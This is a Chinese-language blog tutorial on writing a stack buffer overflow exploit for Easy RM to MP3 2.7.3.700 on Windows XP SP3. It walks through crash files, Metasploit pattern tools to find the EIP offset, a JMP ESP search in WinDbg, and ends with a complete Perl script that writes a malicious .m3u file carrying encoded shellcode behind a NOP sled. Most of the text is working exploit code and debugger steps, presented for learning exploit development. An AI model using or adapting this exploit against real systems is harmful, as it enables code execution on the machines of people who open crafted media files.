exploit编写系列1:Easy RM to MP3 漏洞调试

xiaoeryu Lv5

Easy RM to MP3 漏洞调试

0X00 前言

分析这个漏洞主要是为了学习怎么通过调试并编写溢出类型漏洞的EXP

0X01 分析环境

调试环境 版本
系统版本 XP_sp3
Easy RM to MP3 2.7.3.700
windbg 6.12

0X02 漏洞描述

这个漏洞是一个典型的溢出类型漏洞,在处理字符的时候没有对长度做限制,在读取到第25000~30000个字符的时候会导致返回地址被覆盖导致溢出

0X03 漏洞分析

编写perl脚本生成漏洞验证文件

my $file= "crash25000.m3u";
my $junk = "\x41" x 25000;
my $junk2 = "\x42" x 5000;
open($FILE,">$file");
print $FILE $junk.$junk2;
close($FILE);
print "m3u File Created successfully\n";

打开cmd输入命令windbg.exe -I,将windbg设置为默认调试器。

用 Easy RM to MP3 打开perl脚本生成的”crash25000.m3u”

windbg会自动捕获异常附加调试

可以看到 EIP 为42424242(BBBB),可以验证返回地址位于25000~30000之间。

我们下一步需要定位漏洞的具体位置:一般来说有两种方法:

  1. 通过调试查看栈回溯查看堆栈的方式来确定溢出的位置。
  2. 将我们刚来写入字符“B”的位置填充为pattern字符串,观察程序崩溃时的 EIP来定位返回地址在缓冲区中的偏移。

第二种方式无疑是比较简单方便的,我们就采用第二种方式来定位偏移。

​ 使用metasploit framework文件夹下tool文件夹中的pattern_create.rb工具来创建一个包含5000个字符的模型替换刚才的“B”字符。

kali@kali:/usr/share/metasploit-framework/tools/exploit$ ./pattern_create.rb -l 5000

重新加载崩溃后可以看到 EIP 的值改变了

此时 EIP = 0x366a4235(小端字节序:35 42 6a 36 = 5Bj6)

再次使用 metasploit 的工具 pattern_offset.rb 来计算偏移值:

kali@kali:/usr/share/metasploit-framework/tools/exploit$ ./pattern_offset.rb -q 5Bj6

偏移位置 = 25000 + 1067

接下来我们可以重新设计一下payload来验证我们计算的偏移是否正确:

my $file= "eipcrash.m3u";
my $junk= "A" x 26067;
my $eip = "BBBB";
my $espdata = "C" x 1000;
open($FILE,">$file");
print $FILE $junk.$eip.$espdata;
close($FILE);
print "m3u File Created successfully\n";

然后用生成的 “eipcrash.m3u”再次触发崩溃

可以看到 EIP 已经被我们写入的四个字节的 “B”覆盖掉了,此时我们已经可以控制 EIP 了,接下来我们需要考虑一下怎么让EIP指向我们的shellcode,以及如何把shellcode放到被攻击的虚拟内存空间并让EIP指向它并执行。

现在栈视图如下:

当函数返回时”BBBB”被放入EIP中执行,我们可以想办法让EIP指向我们存放shellcode的地址。

重新设计一下我们的shellcode:

  1. 写入26067个”A”
  2. EIP”BBBB”
  3. 用模型字符串替换刚才填入的字符”C”,确定一下ESP指向的地址是不是我们刚才填入的”C”开头第一个字符的位置(根据结果来调整我们的shellcode)。

修改perl脚本:

my $file= "test_1.m3u";
my $junk= "A" x 26067;
my $eip = "BBBB";
my $espdata = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag";
open($FILE,">$file");
print $FILE $junk.$eip.$espdata;
close($FILE);
print "m3u File Created successfully\n";

断下来之后可以看到ESP是从第五个字符开始的

这样我们可以修改一下shellcode将我们的payload往后面放放

现在我们可以考虑编写真正的shellcode了:

  1. 我们可以控制EIP
  2. 我们知道可以在哪里存放我们的shellcode
  3. 将EIP指向ESP即可

但是有一个问题,现在地址ESP(0x000ffd38)包含了终止字符(null:00),如果我们直接使用这个地址的话执行到这个位置会引起中断从而达不到我们想要的效果

所以,需要换一种方法来让EIP指向我们的shellcode

我们可以选择在进程空间中找到一个JMP ESP的地址(地址中不含00)来帮助我们将EIP指向shellcode

jmp esp 的opcode是 ffe4,我们可以在加载的DLL里面搜索这个指令:s 019e0000 l 01ead000 ff e4

现在我们可以将EIP设置为0x01b9f23a,在进行测试一下,看看是否如我们所料能跳转进我们的shellcode中

my $file= "test_2.m3u";
my $junk= "A" x 26067;
my $eip = pack('V',0x01b9f23a);;
my $espdata = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag";
open($FILE,">$file");
print $FILE $junk.$eip.$espdata;
close($FILE);
print "m3u File Created successfully\n";

果然成功如我们所料,EIP成功的断在了0x000ffd39处,说明我们找到的JMP ESP是有效的

但是现在这个payload只是一堆字符,什么都做不了,接下来我们只需要将payload替换为真正有效的payload即可。

my $file= "test4.m3u";
my $junk= "A" x 26067;
my $eip = pack('V',0x01b9f23a); #overwrite EIP with call esp
my $prependesp = "XXXX"; #add 4 bytes so ESP points at beginning of shellcode bytes
my $shellcode = "\x90" x 25; #start shellcode with some NOPS
$shellcode = $shellcode .
"\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1" .
"\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30" .
"\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa" .
"\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96" .
"\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b" .
"\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a" .
"\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83" .
"\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98" .
"\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61" .
"\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05" .
"\x7f\xe8\x7b\xca";
open($FILE,">$file");
print $FILE $junk.$eip.$prependesp.$shellcode;
close($FILE);
print "m3u File Created successfully\n";

完成

  • 标题: exploit编写系列1:Easy RM to MP3 漏洞调试
  • 作者: xiaoeryu
  • 创建于 : 2021-05-20 10:22:12
  • 更新于 : 2023-11-17 19:38:10
  • 链接: https://github.com/xiaoeryu/2021/05/20/exploit编写系列1-Easy-RM-to-MP3-漏洞调试/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论
此页目录
exploit编写系列1:Easy RM to MP3 漏洞调试